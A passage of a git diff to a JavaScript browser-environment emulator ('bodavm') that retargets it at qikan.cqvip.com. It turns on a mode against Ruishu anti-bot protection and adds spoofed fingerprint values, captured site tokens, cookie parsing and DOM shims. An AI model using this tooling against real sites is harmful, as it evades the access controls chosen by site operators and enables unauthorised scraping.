VideoFrame() { [native code] } +window_AudioDecoder-> res ->function AudioDecoder() { [native code] } +window_AudioEncoder-> res ->function AudioEncoder() { [native code] } +window_ImageDecoder-> res ->function ImageDecoder() { [native code] } +window_VideoDecoder-> res ->function VideoDecoder() { [native code] } +window_VideoEncoder-> res ->function VideoEncoder() { [native code] } +window_AuthenticatorAssertionResponse-> res ->function AuthenticatorAssertionResponse() { [native code] } +window_AuthenticatorAttestationResponse-> res ->function AuthenticatorAttestationResponse() { [native code] } +window_AuthenticatorResponse-> res ->function AuthenticatorResponse() { [native code] } +window_PublicKeyCredential-> res ->function PublicKeyCredential() { [native code] } +window_Bluetooth-> res ->function Bluetooth() { [native code] } +window_BluetoothCharacteristicProperties-> res ->function BluetoothCharacteristicProperties() { [native code] } +window_BluetoothDevice-> res ->function BluetoothDevice() { [native code] } +window_BluetoothRemoteGATTCharacteristic-> res ->function BluetoothRemoteGATTCharacteristic() { [native code] } +window_BluetoothRemoteGATTDescriptor-> res ->function BluetoothRemoteGATTDescriptor() { [native code] } +window_BluetoothRemoteGATTServer-> res ->function BluetoothRemoteGATTServer() { [native code] } +window_BluetoothRemoteGATTService-> res ->function BluetoothRemoteGATTService() { [native code] } +window_EyeDropper-> res ->function EyeDropper() { [native code] } +window_FileSystemDirectoryHandle-> res ->function FileSystemDirectoryHandle() { [native code] } +window_FileSystemFileHandle-> res ->function FileSystemFileHandle() { [native code] } +window_FileSystemHandle-> res ->function FileSystemHandle() { [native code] } +window_FileSystemWritableFileStream-> res ->function FileSystemWritableFileStream() { [native code] } +window_FragmentDirective-> res ->function FragmentDirective() { [native code] } +window_GravitySensor-> res ->function GravitySensor() { [native code] } +window_HID-> res ->function HID() { [native code] } +window_HIDConnectionEvent-> res ->function HIDConnectionEvent() { [native code] } +window_HIDDevice-> res ->function HIDDevice() { [native code] } +window_HIDInputReportEvent-> res ->function HIDInputReportEvent() { [native code] } +window_IdleDetector-> res ->function IdleDetector() { [native code] } +window_MediaStreamTrackGenerator-> res ->function MediaStreamTrackGenerator() { [native code] } +window_MediaStreamTrackProcessor-> res ->function MediaStreamTrackProcessor() { [native code] } +window_OTPCredential-> res ->function OTPCredential() { [native code] } +window_PaymentAddress-> res ->function PaymentAddress() { [native code] } +window_PaymentRequest-> res ->function PaymentRequest() { [native code] } +window_PaymentResponse-> res ->function PaymentResponse() { [native code] } +window_PaymentMethodChangeEvent-> res ->function PaymentMethodChangeEvent() { [native code] } +window_Presentation-> res ->function Presentation() { [native code] } +window_PresentationAvailability-> res ->function PresentationAvailability() { [native code] } +window_PresentationConnection-> res ->function PresentationConnection() { [native code] } +window_PresentationConnectionAvailableEvent-> res ->function PresentationConnectionAvailableEvent() { [native code] } +window_PresentationConnectionCloseEvent-> res ->function PresentationConnectionCloseEvent() { [native code] } +window_PresentationConnectionList-> res ->function PresentationConnectionList() { [native code] } +window_PresentationReceiver-> res ->function PresentationReceiver() { [native code] } +window_PresentationRequest-> res ->function PresentationRequest() { [native code] } +window_Profiler-> res ->function Profiler() { [native code] } +window_Scheduling-> res ->function Scheduling() { [native code] } +window_ScreenDetailed-> res ->function ScreenDetailed() { [native code] } +window_ScreenDetails-> res ->function ScreenDetails() { [native code] } +window_Serial-> res ->function Serial() { [native code] } +window_SerialPort-> res ->function SerialPort() { [native code] } +window_USB-> res ->function USB() { [native code] } +window_USBAlternateInterface-> res ->function USBAlternateInterface() { [native code] } +window_USBConfiguration-> res ->function USBConfiguration() { [native code] } +window_USBConnectionEvent-> res ->function USBConnectionEvent() { [native code] } +window_USBDevice-> res ->function USBDevice() { [native code] } +window_USBEndpoint-> res ->function USBEndpoint() { [native code] } +window_USBInTransferResult-> res ->function USBInTransferResult() { [native code] } +window_USBInterface-> res ->function USBInterface() { [native code] } +window_USBIsochronousInTransferPacket-> res ->function USBIsochronousInTransferPacket() { [native code] } +window_USBIsochronousInTransferResult-> res ->function USBIsochronousInTransferResult() { [native code] } +window_USBIsochronousOutTransferPacket-> res ->function USBIsochronousOutTransferPacket() { [native code] } +window_USBIsochronousOutTransferResult-> res ->function USBIsochronousOutTransferResult() { [native code] } +window_USBOutTransferResult-> res ->function USBOutTransferResult() { [native code] } +window_VirtualKeyboard-> res ->function VirtualKeyboard() { [native code] } +window_WakeLock-> res ->function WakeLock() { [native code] } +window_WakeLockSentinel-> res ->function WakeLockSentinel() { [native code] } +window_WebTransport-> res ->function WebTransport() { [native code] } +window_WebTransportBidirectionalStream-> res ->function WebTransportBidirectionalStream() { [native code] } +window_WebTransportDatagramDuplexStream-> res ->function WebTransportDatagramDuplexStream() { [native code] } +window_WebTransportError-> res ->function WebTransportError() { [native code] } +window_XRAnchor-> res ->function XRAnchor() { [native code] } +window_XRAnchorSet-> res ->function XRAnchorSet() { [native code] } +window_XRBoundedReferenceSpace-> res ->function XRBoundedReferenceSpace() { [native code] } +window_XRFrame-> res ->function XRFrame() { [native code] } +window_XRInputSource-> res ->function XRInputSource() { [native code] } +window_XRInputSourceArray-> res ->function XRInputSourceArray() { [native code] } +window_XRInputSourceEvent-> res ->function XRInputSourceEvent() { [native code] } +window_XRInputSourcesChangeEvent-> res ->function XRInputSourcesChangeEvent() { [native code] } +window_XRPose-> res ->function XRPose() { [native code] } +window_XRReferenceSpace-> res ->function XRReferenceSpace() { [native code] } +window_XRReferenceSpaceEvent-> res ->function XRReferenceSpaceEvent() { [native code] } +window_XRRenderState-> res ->function XRRenderState() { [native code] } +window_XRRigidTransform-> res ->function XRRigidTransform() { [native code] } +window_XRSession-> res ->function XRSession() { [native code] } +window_XRSessionEvent-> res ->function XRSessionEvent() { [native code] } +window_XRSpace-> res ->function XRSpace() { [native code] } +window_XRSystem-> res ->function XRSystem() { [native code] } +window_XRView-> res ->function XRView() { [native code] } +window_XRViewerPose-> res ->function XRViewerPose() { [native code] } +window_XRViewport-> res ->function XRViewport() { [native code] } +window_XRWebGLLayer-> res ->function XRWebGLLayer() { [native code] } +window_XRCPUDepthInformation-> res ->function XRCPUDepthInformation() { [native code] } +window_XRDepthInformation-> res ->function XRDepthInformation() { [native code] } +window_XRWebGLDepthInformation-> res ->function XRWebGLDepthInformation() { [native code] } +window_XRHitTestResult-> res ->function XRHitTestResult() { [native code] } +window_XRHitTestSource-> res ->function XRHitTestSource() { [native code] } +window_XRRay-> res ->function XRRay() { [native code] } +window_XRTransientInputHitTestResult-> res ->function XRTransientInputHitTestResult() { [native code] } +window_XRTransientInputHitTestSource-> res ->function XRTransientInputHitTestSource() { [native code] } +window_XRLightEstimate-> res ->function XRLightEstimate() { [native code] } +window_XRLightProbe-> res ->function XRLightProbe() { [native code] } +window_AnimationPlaybackEvent-> res ->function AnimationPlaybackEvent() { [native code] } +window_AnimationTimeline-> res ->function AnimationTimeline() { [native code] } +window_CSSAnimation-> res ->function CSSAnimation() { [native code] } +window_CSSTransition-> res ->function CSSTransition() { [native code] } +window_DocumentTimeline-> res ->function DocumentTimeline() { [native code] } +window_BackgroundFetchManager-> res ->function BackgroundFetchManager() { [native code] } +window_BackgroundFetchRecord-> res ->function BackgroundFetchRecord() { [native code] } +window_BackgroundFetchRegistration-> res ->function BackgroundFetchRegistration() { [native code] } +window_BluetoothUUID-> res ->function BluetoothUUID() { [native code] } +window_CSSFontPaletteValuesRule-> res ->function CSSFontPaletteValuesRule() { [native code] } +window_CustomStateSet-> res ->function CustomStateSet() { [native code] } +window_DelegatedInkTrailPresenter-> res ->function DelegatedInkTrailPresenter() { [native code] } +window_Ink-> res ->function Ink() { [native code] } +window_MediaMetadata-> res ->function MediaMetadata() { [native code] } +window_MediaSession-> res ->function MediaSession() { [native code] } +window_MediaSource-> res ->function MediaSource() { [native code] } +window_SourceBuffer-> res ->function SourceBuffer() { [native code] } +window_SourceBufferList-> res ->function SourceBufferList() { [native code] } +window_MediaStreamTrack-> res ->function MediaStreamTrack() { [native code] } +window_NavigateEvent-> res ->function NavigateEvent() { [native code] } +window_NavigationCurrentEntryChangeEvent-> res ->function NavigationCurrentEntryChangeEvent() { [native code] } +window_NavigationDestination-> res ->function NavigationDestination() { [native code] } +window_NavigationHistoryEntry-> res ->function NavigationHistoryEntry() { [native code] } +window_NavigationTransition-> res ->function NavigationTransition() { [native code] } +window_NavigatorUAData-> res ->function NavigatorUAData() { [native code] } +window_Notification-> res ->function Notification() { [native code] } +window_PaymentManager-> res ->function PaymentManager() { [native code] } +window_PaymentRequestUpdateEvent-> res ->function PaymentRequestUpdateEvent() { [native code] } +window_PeriodicSyncManager-> res ->function PeriodicSyncManager() { [native code] } +window_PermissionStatus-> res ->function PermissionStatus() { [native code] } +window_Permissions-> res ->function Permissions() { [native code] } +window_PictureInPictureEvent-> res ->function PictureInPictureEvent() { [native code] } +window_PictureInPictureWindow-> res ->function PictureInPictureWindow() { [native code] } +window_PushManager-> res ->function PushManager() { [native code] } +window_PushSubscription-> res ->function PushSubscription() { [native code] } +window_PushSubscriptionOptions-> res ->function PushSubscriptionOptions() { [native code] } +window_RemotePlayback-> res ->function RemotePlayback() { [native code] } +window_Scheduler-> res ->function Scheduler() { [native code] } +window_TaskController-> res ->function TaskController() { [native code] } +window_TaskPriorityChangeEvent-> res ->function TaskPriorityChangeEvent() { [native code] } +window_TaskSignal-> res ->function TaskSignal() { [native code] } +window_SharedWorker-> res ->function SharedWorker() { [native code] } +window_SpeechSynthesisErrorEvent-> res ->function SpeechSynthesisErrorEvent() { [native code] } +window_SpeechSynthesisEvent-> res ->function SpeechSynthesisEvent() { [native code] } +window_SpeechSynthesisUtterance-> res ->function SpeechSynthesisUtterance() { [native code] } +window_TrustedHTML-> res ->function TrustedHTML() { [native code] } +window_TrustedScript-> res ->function TrustedScript() { [native code] } +window_TrustedScriptURL-> res ->function TrustedScriptURL() { [native code] } +window_TrustedTypePolicy-> res ->function TrustedTypePolicy() { [native code] } +window_URLPattern-> res ->function URLPattern() { [native code] } +window_VideoPlaybackQuality-> res ->function VideoPlaybackQuality() { [native code] } +window_VirtualKeyboardGeometryChangeEvent-> res ->function VirtualKeyboardGeometryChangeEvent() { [native code] } +window_XSLTProcessor-> res ->function XSLTProcessor() { [native code] } diff --git a/env_xbb_lastest_jsdom/run/output.js b/env_xbb_lastest_jsdom/run/output.js index 8d69ae3d..31b794d4 100644 --- a/env_xbb_lastest_jsdom/run/output.js +++ b/env_xbb_lastest_jsdom/run/output.js @@ -55,8 +55,12 @@ bodavm.memory.cache={ HTMLIFrameElement_contentDocument_get:{}, HTMLElement_style_get:{}, location_ancestorOrigins_get:{ - - } + }, + Document_getElementsByName:{}, + Element_querySelectorAll:{ + }, + Document_querySelector:{}, + plugin:{} } bodavm.memory.collection={ @@ -74,12 +78,12 @@ bodavm.config.proxy = false; //是否代理 bodavm.config.settime_on=true //是否开启settime bodavm.config.isinit=true //实现 var bobo__2 = {};bobo__2.__proto__ = Document.prototype;bobo__2.activeElement // bodavm.config.getundefined=true //暂未实现 - +bodavm.memory.all = [] //网站为r4或者r5 设置为true 否则请关闭 -bodavm.config.isrs = true //判断当前网站是不是瑞数 +bodavm.config.isrs = false //判断当前网站是不是瑞数 //网站为r6 设置为true body设置为0 否则请把true改为false -bodavm.memory.rs6=false +bodavm.memory.rs6=true bodavm.memory.rs6_body=0 bodavm.memory.contentWindow_keys= [ "window", @@ -393,22 +397,22 @@ bodavm.memory.estimate={ } bodavm.memory.location={ - origin:"http://www.fangdi.com.cn", + origin:"https://qikan.cqvip.com", hash:"", - pathname:"/", + pathname:"/Qikan/Search", search:"", - href:"http://www.fangdi.com.cn/", + href:"https://qikan.cqvip.com/Qikan/Search", port:"", - protocol:"http:", - host:"www.fangdi.com.cn", + protocol:"https:", + host:"qikan.cqvip.com", ancestorOrigins:'{}', - hostname:"www.fangdi.com.cn" + hostname:"qikan.cqvip.com" }; bodavm.memory.document={ - URL:"http://www.fangdi.com.cn/", - referrer:"", - documentURI:"http://www.fangdi.com.cn/", + URL:"https://qikan.cqvip.com/Qikan/Search", + referrer:"https://qikan.cqvip.com/Qikan/Search", + documentURI:"https://qikan.cqvip.com/Qikan/Search", compatMode:"CSS1Compat", dir:"", title:'', @@ -416,15 +420,26 @@ bodavm.memory.document={ readyState:"loading", contentType:"text/html", inputEncoding:"UTF-8", - domain:"www.fangdi.com.cn", + domain:"qikan.cqvip.com", characterSet:"UTF-8", charset:"UTF-8", hidden:"false", onmousemove:null, onselectionchange:null, + cookie:'' }; +bodavm.memory.cookies_=bodavm.memory.document['cookie'].split(';') +if (bodavm.memory.cookies_[0]){ + for (var i = 0; i < bodavm.memory.cookies_.length; i++) { + var cookie = bodavm.memory.cookies_[i].split("="); + bodavm.memory.globalInit.jsonCookie[cookie[0]] = cookie[1]; + } +} + + + bodavm.memory.htmldivelement={ align:"undefined", @@ -443,49 +458,49 @@ bodavm.memory.screen={ colorDepth:24, availLeft:0, availTop:0, - isExtended:undefined, + isExtended:false, orientation:{}, - onchange:undefined, + onchange:null, }; bodavm.memory.navigator={ language:"zh-CN", - userAgent:"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36", - appVersion:"5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36", + userAgent:"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36", + appVersion:"5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36", vendor:"Google Inc.", appName:"Netscape", appCodeName:"Mozilla", cookieEnabled:true, languages:["zh-CN","zh"], productSub:"20030107", - userAgentData:undefined, - xr:undefined, + userAgentData:{"brands":[{"brand":"Not.A/Brand","version":"8"},{"brand":"Chromium","version":"114"},{"brand":"Google Chrome","version":"114"}],"mobile":false,"platform":"Windows"}, + xr:{}, platform:'Win32', webkitPersistentStorage:{}, connection:{}, javaEnabled:false, product:'Gecko', vendorSub:"", - deviceMemory:undefined, + deviceMemory:8, maxTouchPoints:0 }; bodavm.memory.window={ - name:"&$_YWTU=lRzTTHdK5V5grEpcYrNcVfSndG.5OUB8t900nZWO7VA&$_cDro=0&vdFm=", + name:"$_YWTU=slV7JU4yFXZHGjxr0vT00ktBZ7LF3cvbYHH_at.kEHG&$_YVTX=Wq&vdFm=__bid_n%3D18886761d16873664bbaa2", innerWidth:1440, innerHeight:817, - origin:"http://www.fangdi.com.cn", + origin:"https://qikan.cqvip.com", outerWidth:1440, outerHeight:920, defaultStatus:undefined, defaultstatus:undefined, devicePixelRatio:1.5, - isSecureContext:false, + isSecureContext:true, length:0, status:"", onmessage:null, onbeforeunload:null, closed:false, - isSecureContext:false, + isSecureContext:true, onappinstalled:null, onbeforeinstallprompt:null, onbeforexrselect:null, @@ -500,11 +515,14 @@ bodavm.memory.window={ }; -bodavm.memory.localStorage={} + + +bodavm.memory.localStorage={"length":0} + bodavm.memory.Performance={ 'getEntriesByType':[], - 'timeOrigin':1684137107940.1 + 'timeOrigin':1685883191464.9 @@ -518,7 +536,28 @@ bodavm.memory.Performance={ */ ;; !function () { - + bodavm.toolsFunc.deepCloneWithRefs=function deepCloneWithRefs(obj, map = new Map()) { + if (obj === null || typeof obj !== 'object') { + return obj; + } + if (map.has(obj)) { + return map.get(obj); + } + let copy = Array.isArray(obj) ? [] : {}; + map.set(obj, copy); + for (let key in obj) { + if (obj.hasOwnProperty(key)) { + copy[key] = deepCloneWithRefs(obj[key], map); + } + } + Object.getOwnPropertySymbols(obj).forEach(sym => { + copy[sym] = deepCloneWithRefs(obj[sym], map); + }); + Object.setPrototypeOf(copy, Object.getPrototypeOf(obj)); + return copy; + } + + bodavm.toolsFunc.setProto = function setpro(dom,ele) { //设置原型链 if (!ele){ @@ -526,7 +565,21 @@ bodavm.memory.Performance={ } // let ele = {} let tagpro = dom.toUpperCase() + // debugger + switch (tagpro) { + case "TABLE": + Object.setPrototypeOf(ele, bodavm.memory.globalobj['HTMLTableElement'].prototype) + return ele + case "HEADER": + Object.setPrototypeOf(ele, bodavm.memory.globalobj['HTMLElement'].prototype) + return ele + case "B": + Object.setPrototypeOf(ele, bodavm.memory.globalobj['HTMLElement'].prototype) + return ele + case "H4": + Object.setPrototypeOf(ele, bodavm.memory.globalobj['HTMLHeadingElement'].prototype) + return ele case "DIV": Object.setPrototypeOf(ele, bodavm.memory.globalobj['HTMLDivElement'].prototype) return ele @@ -815,7 +868,7 @@ bodavm.memory.Performance={ } // 实现r={} ;r.__proto__=document ,r.location 报错 - if (self.__proto__.constructor == self.__proto__.__proto__.constructor) { + if (!(self._boisinit) && self.__proto__.constructor == self.__proto__.__proto__.constructor) { debugger console.log(self, ` bodavm.toolsFunc.dispatch 执行出错`, funcName); return bodavm.toolsFunc.throwError("TypeError", "Illegal invocation") @@ -1139,11 +1192,140 @@ bodavm.memory.Performance={ // 浏览器接口具体的实现 !function () { + bodavm.envFunc.window_Error=function (){ + res=bodavm.memory.globalobj['Error'] + console.log_copy(`window_Error ->`,`res -> ${res}`); + return res + } + bodavm.envFunc.HTMLInputElement_value_set=function (){ + arg=arguments[0] + console.log_copy(`HTMLInputElement_value_set -> `,`arg -> `,arg,); + this._boarg.value=arg + return arg + } + bodavm.envFunc.HTMLOptionElement_disabled_get=function (){ + res=this._boarg.disabled + console.log_copy(`HTMLOptionElement_disabled_get -> `,`res ->`,res); + return res + } + + + bodavm.envFunc.HTMLSelectElement_disabled_set=function (){ + arg=arguments[0] + this._disabled=arg + console.log_copy(`HTMLSelectElement_disabled_set -> `,arg); + } + bodavm.envFunc.HTMLOptionElement_selected_get=function (){ + + console.log_copy(`HTMLOptionElement_selected_get ->`,`res ->`,true ,`默认为true 需要根据实际修改`); + return true + + } + + bodavm.envFunc.CSSStyleDeclaration_cssText_set=function (){ + // arg= + + arg=arguments[0] + this._boarg.cssText=arg + console.log_copy(`CSSStyleDeclaration_cssText_set ->`,`res ->`,res); + return res + } + bodavm.envFunc.Document_createDocumentFragment=function(){ + let dofrag={} + + dofrag._boarg=this._boarg.createDocumentFragment() + console.log_copy(`Document_createDocumentFragment ->` ,`res ->`,dofrag); + dofrag.__proto__=DocumentFragment.prototype + + return dofrag + } + + bodavm.envFunc.Document_readyState_get=function (){ + res=this._boarg.readyState + console.log_copy(`Document_readyState_get ->`,`res ->`,res,`需要根据网站具体变化`); + return res + } + + bodavm.envFunc.HTMLAnchorElement_toString=function (){ + // arg=arguments[0] + res=this._boarg.toString() + console.log_copy(`HTMLAnchorElement_toString ->`,`res ->`,res); + return res + } + bodavm.envFunc.Node_compareDocumentPosition=function (){ + arg=arguments[0] + res=this._boarg.compareDocumentPosition(arg) + console.log_copy(`Node_compareDocumentPosition ->`,`res ->`,res); + return res + } + + bodavm.envFunc.Element_matches=function (){ + arg=arguments[0] + res=this._boarg.matches(arg) + console.log_copy(`Element_matches ->`,`res ->`,res); + return res + + } + + bodavm.envFunc.Element_querySelectorAll=function (){ + arg=arguments[0] + + if ((!bodavm.memory.cache['Element_querySelectorAll'][arg])){ + bodavm.memory.cache['Element_querySelectorAll'][arg]={ + 'this':this + } + }else{ + if (bodavm.memory.cache['Element_querySelectorAll'][arg]['this'] ==this){ + console.log_copy(`Element_querySelectorAll ->`,`arg->`,arg,'已存在直接返回') + return bodavm.memory.cache['Element_querySelectorAll'][arg] + } + + } + console.log_copy(`Element_querySelectorAll ->`,`arg ->`,arg) + + let names = bodavm.memory.cache['Element_querySelectorAll'][arg] + nodeList=this._boarg.querySelectorAll(arg) + names.__proto__=NodeList.prototype + names._boarg=nodeList + return names + } + + bodavm.envFunc.Document_getElementsByName=function (){ + arg=arguments[0] + if ((!bodavm.memory.cache['Document_getElementsByName'][arg])){ + bodavm.memory.cache['Document_getElementsByName'][arg]={} + }else{ + console.log_copy(`Document_getElementsByName ->`,`arg->`,arg,'已存在直接返回') + return bodavm.memory.cache['Document_getElementsByName'][arg] + } + console.log_copy(`Document_getElementsByName ->`,`arg ->`,arg) + + let names = bodavm.memory.cache['Document_getElementsByName'][arg] + nodeList=this._boarg.getElementsByName(arg) + names.__proto__=NodeList.prototype + names._boarg=nodeList + return names + } + + + bodavm.envFunc.Document_createComment=function (){ + let comment={} + arg=arguments[0] + comment.__proto__=Comment.prototype + comment._boarg=this._boarg.createComment(arg) + console.log_copy(`Document_createComment ->`,`arg ->`,arg) + return comment + } + bodavm.envFunc.NodeList_length_get=function (){ + res=this._boarg.length + console.log_copy(`NodeList_length_get ->`,`res ->`,res) + return res + } bodavm.envFunc.Node_contains=function (){ debugger let arg=arguments[0] let cont=this._boarg.contains(arg._boarg) - console.log(`Node_contains ->`,`-> res ->${cont}`); + console.log_copy(`Node_contains ->`,`-> res ->${cont}`); return cont } bodavm.envFunc.HTMLIFrameElement_contentDocument_get=function (){ @@ -1153,7 +1335,7 @@ bodavm.memory.Performance={ res.__proto__=HTMLDocument.prototype res._boisinit=true res._contentiframe=true - console.log(`HTMLIFrameElement_contentDocument_get ->`,`-> res ->${res} 获取iframe下的document !!!!`); + console.log_copy(`HTMLIFrameElement_contentDocument_get ->`,`-> res ->${res} 获取iframe下的document !!!!`); return res } bodavm.envFunc.Document_head_get=function (){ @@ -1161,22 +1343,27 @@ bodavm.memory.Performance={ res._boarg=bodaobj.window.document.head res.__proto__=HTMLHeadElement.prototype - console.log(`Document_head_get ->`,`-> res ->${res}`); + console.log_copy(`Document_head_get ->`,`-> res ->${res}`); return res } bodavm.envFunc.HTMLAllCollection_item=function (){ - // debugger + debugger let arg=arguments[0] res=this[arg] - console.log(`HTMLAllCollection_item ->`,`arg ->${arg} `,`-> res -> ${res}`); + console.log_copy(`HTMLAllCollection_item ->`,`arg ->${arg} `,`-> res -> ${res}`); return res } bodavm.envFunc.location_valueOf=function (){ // debugger // res=window.location - console.log(`location_valueOf `, `-> res ->`,location); - return location + let location_ = bodavm.memory.globalobj.location + location_._boarg= bodaobj.window['location'] + + // console.log_copy(`window_location_get `, `location_->`, location_); + // return location_ + console.log_copy(`location_valueOf `, `-> res ->`,location_); + return location_ } bodavm.envFunc.StorageManager_estimate=function (){ @@ -1190,7 +1377,7 @@ bodavm.memory.Performance={ let promise = new Promise((resolve, reject) => { resolve(res) }) - console.log(`StorageManager_estimate `, `-> res ->${promise}`); + console.log_copy(`StorageManager_estimate `, `-> res ->${promise}`); return promise @@ -1199,13 +1386,13 @@ bodavm.memory.Performance={ // debugger this._boarg.src=arguments[0] let res=this._boarg.src - console.log(`HTMLScriptElement_src_set ->`,`-> res->${res}`); + console.log_copy(`HTMLScriptElement_src_set ->`,`-> res->${res}`); return res } bodavm.envFunc.PerformanceEntry_name_get=function (){ // debugger let name=this.name - console.log(`PerformanceEntry_name_get ->`,`-> res ->${name}`); + console.log_copy(`PerformanceEntry_name_get ->`,`-> res ->${name}`); return name } bodavm.envFunc.Performance_getEntriesByType=function (){ @@ -1218,30 +1405,30 @@ bodavm.memory.Performance={ i.__proto__ =PerformanceResourceTiming.prototype } // debugger - console.log(`Performance_getEntriesByType- >`,`arg->${type}`,`-> res ->${reslist}`); + console.log_copy(`Performance_getEntriesByType- >`,`arg->${type}`,`-> res ->${reslist}`); return reslist } } bodavm.envFunc.Document_hasFocus=function (){ - console.log(`Document_hasFocus ->`,`当前页面有没有获取焦点,默认返回true`) + console.log_copy(`Document_hasFocus ->`,`当前页面有没有获取焦点,默认返回true`) return true } bodavm.envFunc.Performance_timeOrigin_get=function (){ let date=bodavm.memory.Performance['timeOrigin'] - console.log(`Performance_timeOrigin_get-> `,`-> res ->${date}`); + console.log_copy(`Performance_timeOrigin_get-> `,`-> res ->${date}`); return date } bodavm.envFunc.Image_src_set=function (){ // debugger - console.log(`Image_src_set->`,`-> res ->${arguments[0]}`); + console.log_copy(`Image_src_set->`,`-> res ->${arguments[0]}`); this._boarg.src=arguments[0] return this._boarg.src } bodavm.envFunc.Performance_now=function (){ let now=window.performance._boarg.now() - console.log(`Performance_now `,`-> res ->${now}`); + console.log_copy(`Performance_now `,`-> res ->${now}`); return now } @@ -1249,915 +1436,915 @@ bodavm.memory.Performance={ // debugger let arg=bodavm.memory.globalobj['Image'] arg._boarg=bodaobj.window.Image - console.log(`window_Image `, `-> res -> ${arg}`); + console.log_copy(`window_Image `, `-> res -> ${arg}`); return arg } - bodavm.envFunc.window_scheduler_get=function (){let arg=bodavm.memory.globalobj['scheduler']?bodavm.memory.globalobj['scheduler']:null;console.log(`window_scheduler_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_crossOriginIsolated_get=function (){let arg=bodavm.memory.globalobj['crossOriginIsolated']?bodavm.memory.globalobj['crossOriginIsolated']:null;console.log(`window_crossOriginIsolated_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onpointerrawupdate_get=function (){let arg=bodavm.memory.globalobj['onpointerrawupdate']?bodavm.memory.globalobj['onpointerrawupdate']:null;console.log(`window_onpointerrawupdate_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_originAgentCluster_get=function (){let arg=bodavm.memory.globalobj['originAgentCluster']?bodavm.memory.globalobj['originAgentCluster']:null;console.log(`window_originAgentCluster_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onbeforematch_get=function (){let arg=bodavm.memory.globalobj['onbeforematch']?bodavm.memory.globalobj['onbeforematch']:null;console.log(`window_onbeforematch_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ondeviceorientationabsolute_get=function (){let arg=bodavm.memory.globalobj['ondeviceorientationabsolute']?bodavm.memory.globalobj['ondeviceorientationabsolute']:null;console.log(`window_ondeviceorientationabsolute_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ondeviceorientation_get=function (){let arg=bodavm.memory.globalobj['ondeviceorientation']?bodavm.memory.globalobj['ondeviceorientation']:null;console.log(`window_ondeviceorientation_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ondevicemotion_get=function (){let arg=bodavm.memory.globalobj['ondevicemotion']?bodavm.memory.globalobj['ondevicemotion']:null;console.log(`window_ondevicemotion_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onunload_get=function (){let arg=bodavm.memory.globalobj['onunload']?bodavm.memory.globalobj['onunload']:null;console.log(`window_onunload_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onunhandledrejection_get=function (){let arg=bodavm.memory.globalobj['onunhandledrejection']?bodavm.memory.globalobj['onunhandledrejection']:null;console.log(`window_onunhandledrejection_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onstorage_get=function (){let arg=bodavm.memory.globalobj['onstorage']?bodavm.memory.globalobj['onstorage']:null;console.log(`window_onstorage_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onrejectionhandled_get=function (){let arg=bodavm.memory.globalobj['onrejectionhandled']?bodavm.memory.globalobj['onrejectionhandled']:null;console.log(`window_onrejectionhandled_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onpopstate_get=function (){let arg=bodavm.memory.globalobj['onpopstate']?bodavm.memory.globalobj['onpopstate']:null;console.log(`window_onpopstate_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onpageshow_get=function (){let arg=bodavm.memory.globalobj['onpageshow']?bodavm.memory.globalobj['onpageshow']:null;console.log(`window_onpageshow_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onpagehide_get=function (){let arg=bodavm.memory.globalobj['onpagehide']?bodavm.memory.globalobj['onpagehide']:null;console.log(`window_onpagehide_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ononline_get=function (){let arg=bodavm.memory.globalobj['ononline']?bodavm.memory.globalobj['ononline']:null;console.log(`window_ononline_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onoffline_get=function (){let arg=bodavm.memory.globalobj['onoffline']?bodavm.memory.globalobj['onoffline']:null;console.log(`window_onoffline_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onmessageerror_get=function (){let arg=bodavm.memory.globalobj['onmessageerror']?bodavm.memory.globalobj['onmessageerror']:null;console.log(`window_onmessageerror_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onlanguagechange_get=function (){let arg=bodavm.memory.globalobj['onlanguagechange']?bodavm.memory.globalobj['onlanguagechange']:null;console.log(`window_onlanguagechange_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onhashchange_get=function (){let arg=bodavm.memory.globalobj['onhashchange']?bodavm.memory.globalobj['onhashchange']:null;console.log(`window_onhashchange_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onbeforeprint_get=function (){let arg=bodavm.memory.globalobj['onbeforeprint']?bodavm.memory.globalobj['onbeforeprint']:null;console.log(`window_onbeforeprint_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onafterprint_get=function (){let arg=bodavm.memory.globalobj['onafterprint']?bodavm.memory.globalobj['onafterprint']:null;console.log(`window_onafterprint_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ontransitioncancel_get=function (){let arg=bodavm.memory.globalobj['ontransitioncancel']?bodavm.memory.globalobj['ontransitioncancel']:null;console.log(`window_ontransitioncancel_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ontransitionend_get=function (){let arg=bodavm.memory.globalobj['ontransitionend']?bodavm.memory.globalobj['ontransitionend']:null;console.log(`window_ontransitionend_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ontransitionstart_get=function (){let arg=bodavm.memory.globalobj['ontransitionstart']?bodavm.memory.globalobj['ontransitionstart']:null;console.log(`window_ontransitionstart_get`,`-> res ->${arg}`);return arg} - 